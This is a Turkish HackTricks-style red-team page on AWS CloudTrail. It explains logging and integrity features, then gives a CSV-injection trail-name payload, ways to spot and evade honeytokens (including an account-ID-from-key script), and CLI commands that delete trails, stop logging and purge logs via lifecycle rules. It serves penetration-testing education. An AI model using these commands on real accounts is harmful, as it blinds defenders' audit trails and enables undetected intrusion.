AWS - CloudTrail Enum

htARTE (HackTricks AWS Red Team Expert) ile AWS hacklemeyi sıfırdan kahramana öğrenin!

HackTricks'ı desteklemenin diğer yolları:

CloudTrail

AWS CloudTrail, AWS ortamınız içindeki etkinlikleri kaydeder ve izler. AWS kaynaklarıyla yapılan tüm etkileşimler için kimin ne yaptığını, ne zaman ve nereden yaptığını içeren ayrıntılı etkinlik günlüklerini kaydeder. Bu, değişikliklerin ve işlemlerin denetim izini sağlayarak güvenlik analizi, uyumluluk denetimi ve kaynak değişikliği izleme konularında yardımcı olur. CloudTrail, kullanıcı ve kaynak davranışını anlamak, güvenlik durumlarını güçlendirmek ve düzenleyici uyumluluğu sağlamak için esastır.

Her kaydedilen etkinlik şunları içerir:

  • Çağrılan API'nin adı: eventName

  • Çağrılan hizmet: eventSource

  • Zaman: eventTime

  • IP adresi: SourceIPAddress

  • Ajan yöntemi: userAgent. Örnekler:

    • Signing.amazonaws.com - AWS Yönetim Konsolundan

    • console.amazonaws.com - Hesabın kök kullanıcısı

    • lambda.amazonaws.com - AWS Lambda

  • İstek parametreleri: requestParameters

  • Yanıt öğeleri: responseElements

Etkinlikler, yaklaşık her 5 dakikada bir JSON dosyasına yazılır, CloudTrail tarafından tutulur ve sonunda log dosyaları yaklaşık 15 dakika sonra S3'e iletilir. CloudTrail günlükleri, hesaplar ve bölgeler arasında toplanabilir. CloudTrail, log dosyalarını size ulaştırdığından beri log dosyalarınızın değişmediğini doğrulamak için log dosyası bütünlüğünü kullanmanıza izin verir. Günlüklerin içindeki logların SHA-256 karmasını bir özet dosyasında oluşturur. Yeni günlüklerin sha-256 karması her saat başı oluşturulur. Bir Trail oluştururken etkinlik seçicileri, log kaydedilecek izi belirtmenize olanak tanır: Yönetim, veri veya içgörüler etkinlikleri.

Günlükler bir S3 kovasında saklanır. Varsayılan olarak Sunucu Tarafı Şifreleme (SSE-S3) kullanılır, bu nedenle AWS içeriği şifreler, ancak ek güvenlik için KMS ile SSE ve kendi anahtarlarınızı kullanabilirsiniz.

Günlükler, aşağıdaki ad biçimine sahip bir S3 kovasında saklanır:

  • BucketName/AWSLogs/HesapKimliği/CloudTrail/BölgeAdı/YYY/AA/GG

  • BucketName: aws-cloudtrail-logs-<hesapkimliği>-<rastgele>

  • Örnek: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Her klasörün içinde her günlüğün şu formatta bir adı olacaktır: HesapKimliği_CloudTrail_BölgeAdı_YYYYAAGGTSaatDakikaZ_Rastgele.json.gz

Günlük Dosyası Adlandırma Kuralı

Ayrıca, dosya bütünlüğünü kontrol etmek için özet dosyaları aynı kovada olacaktır:

Birden Fazla Hesaptan Toplu Günlükler Toplama

  • Günlük dosyalarının iletileceği AWS hesabında bir Deneme oluşturun

  • CloudTrail için çapraz hesap erişimine izin veren izinleri hedef S3 kovasına uygulayın ve erişime ihtiyacı olan her AWS hesabına izin verin

  • Diğer AWS hesaplarında yeni bir Trail oluşturun ve 1. adımda oluşturulan kovayı kullanmayı seçin

Ancak, tüm günlükleri aynı S3 kovasında saklayabilirsiniz, farklı hesaplardan gelen CloudTrail günlüklerini tek bir AWS hesabına ait bir CloudWatch Logs'ta toplayamazsınız.

Bir hesabın farklı Trail'leri CloudTrail'den etkinleştirilmiş olabilir ve aynı (veya farklı) günlükleri farklı kovalarda saklayabilir.

1'den tüm org hesaplarına Cloudtrail

CloudTrail oluştururken, orgdaki tüm hesaplar için cloudtrail'ı etkinleştirmeyi ve günlükleri yalnızca 1 kovaya almayı belirtmek mümkündür:

Bu şekilde tüm hesapların tüm bölgelerinde CloudTrail'ı kolayca yapılandırabilir ve günlükleri 1 hesapta (korumanız gereken bir hesap) merkezileştirebilirsiniz.

Günlük Dosyalarını Kontrol Etme

Günlüklerin değiştirilmediğini kontrol etmek için şunu çalıştırarak kontrol edebilirsiniz

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Günlüklerin CloudWatch'a Gönderilmesi

CloudTrail, şüpheli aktiviteler gerçekleştirildiğinde sizi uyaracak uyarıları ayarlayabilmeniz için günlükleri otomatik olarak CloudWatch'a gönderebilir. CloudTrail'ın günlükleri CloudWatch'a göndermesine izin vermek için bu eylemi gerçekleştiren bir rol oluşturulması gerektiğine dikkat edin. Mümkünse, bu eylemleri gerçekleştirmek için AWS varsayılan rolünü kullanmanız önerilir. Bu rol, CloudTrail'in şunları yapmasına izin verecektir:

  • CreateLogStream: Bu, bir CloudWatch Günlükleri günlük akışı oluşturmayı sağlar

  • PutLogEvents: CloudTrail günlüklerini CloudWatch Günlükleri günlük akışına iletmeyi sağlar

Olay Geçmişi

CloudTrail Olay Geçmişi, kaydedilen günlükleri bir tabloda incelemenize olanak tanır:

İçgörüler

CloudTrail İçgörüler, CloudTrail izlerinden yazma yönetimi olaylarını otomatik olarak analiz eder ve sıradışı aktiviteleri size bildirir. Örneğin, kurulmuş temellere uymayan TerminateInstance olaylarında bir artış varsa, bunu bir İçgörü olayı olarak göreceksiniz. Bu olaylar, sıradışı API aktivitelerini bulmayı ve yanıtlamayı daha da kolaylaştırır.

İçgörüler, CloudTrail günlükleriyle aynı kovada saklanır: BucketAdı/AWSLogs/HesapID/CloudTrail-Insight

Güvenlik

CloudTrail Günlük Dosyası Bütünlüğü

  • Günlüklerin değiştirilip veya silinip silinmediğini doğrulayın

  • Özet dosyaları kullanır (her dosya için karması oluştur)

    • SHA-256 karma

    • Dijital imza için SHA-256 ile RSA

    • Amazon'a ait özel anahtar

  • Bir özet dosyası oluşturmak 1 saat sürer (her saat başı yapılır)

Yetkisiz erişimi durdur

  • IAM politikaları ve S3 kova politikalarını kullanın

    • güvenlik ekibi —> yönetici erişimi

    • denetçiler —> salt okuma erişimi

  • Günlükleri şifrelemek için SSE-S3/SSE-KMS kullanın

Günlük dosyalarının silinmesini önleme

  • IAM ve kova politikaları ile silme erişimini kısıtlayın

  • S3 MFA silmeyi yapılandırın

  • Günlük Dosyası Doğrulaması ile doğrulayın

Erişim Danışmanı

AWS Erişim Danışmanı, insanların verilen gereksiz izinler hakkında bilgilendirilmesi için son 400 günlük AWS CloudTrail günlüklerine dayanır. CloudTrail, bir AWS hesabında yapılan AWS API çağrılarının ve ilgili olayların bir geçmişini yakalar. Erişim Danışmanı, bu verileri kullanarak hizmetlerin en son ne zaman erişildiğini gösterir. CloudTrail günlüklerini analiz ederek, Erişim Danışmanı bir IAM kullanıcısının veya rolünün hangi AWS hizmetlerine eriştiğini ve bu erişimin ne zaman gerçekleştiğini belirleyebilir. Bu, AWS yöneticilerinin izinleri iyileştirme konusunda bilinçli kararlar almasına yardımcı olur, çünkü uzun süre erişilmemiş hizmetleri belirleyebilir ve gerçek kullanım modellerine dayanarak aşırı geniş izinleri azaltabilirler.

Bu nedenle, Erişim Danışmanı, kullanıcılara verilen gereksiz izinler hakkında bilgi verir, böylece yönetici bunları kaldırabilir

Eylemler

Numaralandırma

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Enjeksiyonu

CloudTrail içinde bir CVS enjeksiyonu gerçekleştirmek mümkündür ve günlükler CSV olarak dışa aktarılıp Excel ile açıldığında keyfi kodu yürütür. Aşağıdaki kod, yük içeren kötü bir Trail adı içeren günlük girişi oluşturacaktır:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Daha fazla CSV Enjeksiyonu hakkında bilgi için sayfayı kontrol edin:

Bu belirli teknik hakkında daha fazla bilgi için https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Algı Atlatma

HoneyTokenlar atlatma

HoneyTokenlar, duyarlı bilgilerin dışa aktarılmasını tespit etmek için oluşturulmuştur. AWS için, bunlar kullanımı izlenen AWS anahtarları olup, eğer bir şey o anahtarla bir eylemi tetiklerse, o zaman biri o anahtarı çalmış olmalıdır.

Ancak, Canarytokens, SpaceCrab, SpaceSiren gibi HoneyTokenlar ya tanınabilir bir hesap adı kullanıyor ya da tüm müşterileri için aynı AWS hesap kimliğini kullanıyor. Bu nedenle, Cloudtrail'in herhangi bir günlük oluşturmadan hesap adını ve/veya hesap kimliğini alabilirseniz, anahtarın bir HoneyToken olup olmadığını bilebilirsiniz.

Pacu, bir anahtarın Canarytokens, SpaceCrab, SpaceSiren'a ait olup olmadığını tespit etmek için bazı kurallara sahiptir:

  • Eğer rol adında canarytokens.org veya hata mesajında 534261010715 hesap kimliği görünüyorsa.

  • Daha yeni test edildiklerinde, hesap 717712589309 kullanıyor ve hala isimde canarytokens.com dizesi bulunuyor.

  • Eğer rol adında SpaceCrab hata mesajında görünüyorsa.

  • SpaceSiren, kullanıcı adları oluşturmak için uuid'ler kullanır: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Eğer isim rastgele oluşturulmuş gibi görünüyorsa, yüksek ihtimallerle bir HoneyToken'dır.

Hesap Kimliğini Anahtar Kimliğinden Alın

Kodlanmış içindeki erişim anahtarından Hesap Kimliğini alabilir ve hesap kimliğini HoneyTokenlar AWS hesaplarınızın listesiyle kontrol edebilirsiniz: burada açıklandığı gibi

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Daha fazla bilgi için orijinal araştırmaya bakın.

Günlük oluşturma

Bunun için en etkili teknik aslında basit bir tekniktir. Bulduğunuz anahtarı kullanarak kendi saldırgan hesabınız içinde bir hizmete erişin. Bu, CloudTrail'in kendi AWS hesabınızda bir günlük oluşturmasını sağlar ve kurbanın içinde değil.

Mesele şu ki, çıktı size bir hata gösterecek ve hesap kimliğini ve hesap adını göstereceğinden bir Balık Anahtarı olup olmadığını görebileceksiniz.

Günlük oluşturmayan AWS hizmetleri

Geçmişte CloudTrail'e günlük göndermeyen bazı AWS hizmetleri vardı (burada bir liste bulabilirsiniz). Bu hizmetlerden bazıları, yetkisiz biri (balık anahtarı anahtarı) erişmeye çalıştığında anahtar rolün ARN'sini içeren bir hata ile yanıt verecektir.

Bu şekilde, bir saldırgan günlük tetiklemeden anahtarın ARN'sini elde edebilir. ARN içinde saldırgan, AWS hesap kimliğini ve adını görebilir, bu sayede bir saldırgan Balık Anahtarlarının şirketlerin hesap kimliklerini ve adlarını kolayca belirleyebilir, böylece bir saldırgan balık anahtarının bir Balık Anahtarı olup olmadığını belirleyebilir.

Tüm genel API'ların CloudTrail günlükleri oluşturmadığı keşfedildi ve şimdi düzeltildi, bu yüzden belki kendi API'lerinizi bulmanız gerekebilir...

Daha fazla bilgi için orijinal araştırmaya bakın.

Üçüncü Altyapıya Erişim

Belirli AWS hizmetleri veritabanları veya Kubernetes kümeleri (EKS) gibi altyapılar oluşturabilir. Bir kullanıcı, bu hizmetlere doğrudan erişiyorsa (örneğin Kubernetes API'si gibi), AWS API'sini kullanmayacak, bu nedenle CloudTrail bu iletişimi göremeyecektir.

Bu nedenle, EKS'ye erişimi olan bir kullanıcı, EKS API'sinin URL'sini keşfetmişse yerel olarak bir belirteç oluşturabilir ve CloudTrail tarafından tespit edilmeden API hizmeti ile doğrudan iletişim kurabilir.

Daha fazla bilgi için:

AWS - EKS Post Exploitation

CloudTrail Yapılandırmasını Değiştirme

İz yollarını silme

aws cloudtrail delete-trail --name [trail-name]

İzlemeleri Durdurun

aws cloudtrail stop-logging --name [trail-name]

Çoklu bölge kaydını devre dışı bırakma

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Olay Seçenekleriyle Günlüğü Devre Dışı Bırakma

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

İlk örnekte, tek bir olay seçici, yalnızca bir nesne içeren bir JSON dizisi olarak sağlanmaktadır. "ReadWriteType": "ReadOnly" ifadesi, olay seçicinin yalnızca salt okunur olayları yakalaması gerektiğini belirtir (bu nedenle CloudTrail içgörüleri örneğin yazma olaylarını kontrol etmeyecek).

Özel gereksinimlerinize göre olay seçicisini özelleştirebilirsiniz.

S3 yaşam döngüsü politikası aracılığıyla kayıtların silinmesi

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Kova Yapılandırmasını Değiştirme

  • S3 kovasını sil

  • Kova politikasını değiştirerek CloudTrail hizmetinden herhangi bir yazma işlemini reddet

  • S3 kovasına nesneleri silmek için yaşam döngüsü politikası ekle

  • CloudTrail günlüklerini şifrelemek için kullanılan kms anahtarını devre dışı bırak

Cloudtrail fidye yazılımı

S3 fidye yazılımı

Asimetrik bir anahtar oluşturabilir ve CloudTrail'in verileri o anahtarla şifrelemesini sağlayabilir ve ardından özel anahtarı silerek CloudTrail içeriğinin kurtarılamamasını sağlayabilirsiniz. Bu temelde S3-KMS fidye yazılımı'dır ve şurada açıklanmıştır:

AWS - S3 Post Exploitation

KMS fidye yazılımı

Bu, önceki saldırıyı farklı izin gereksinimleriyle gerçekleştirmenin en kolay yoludur:

AWS - KMS Post Exploitation

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated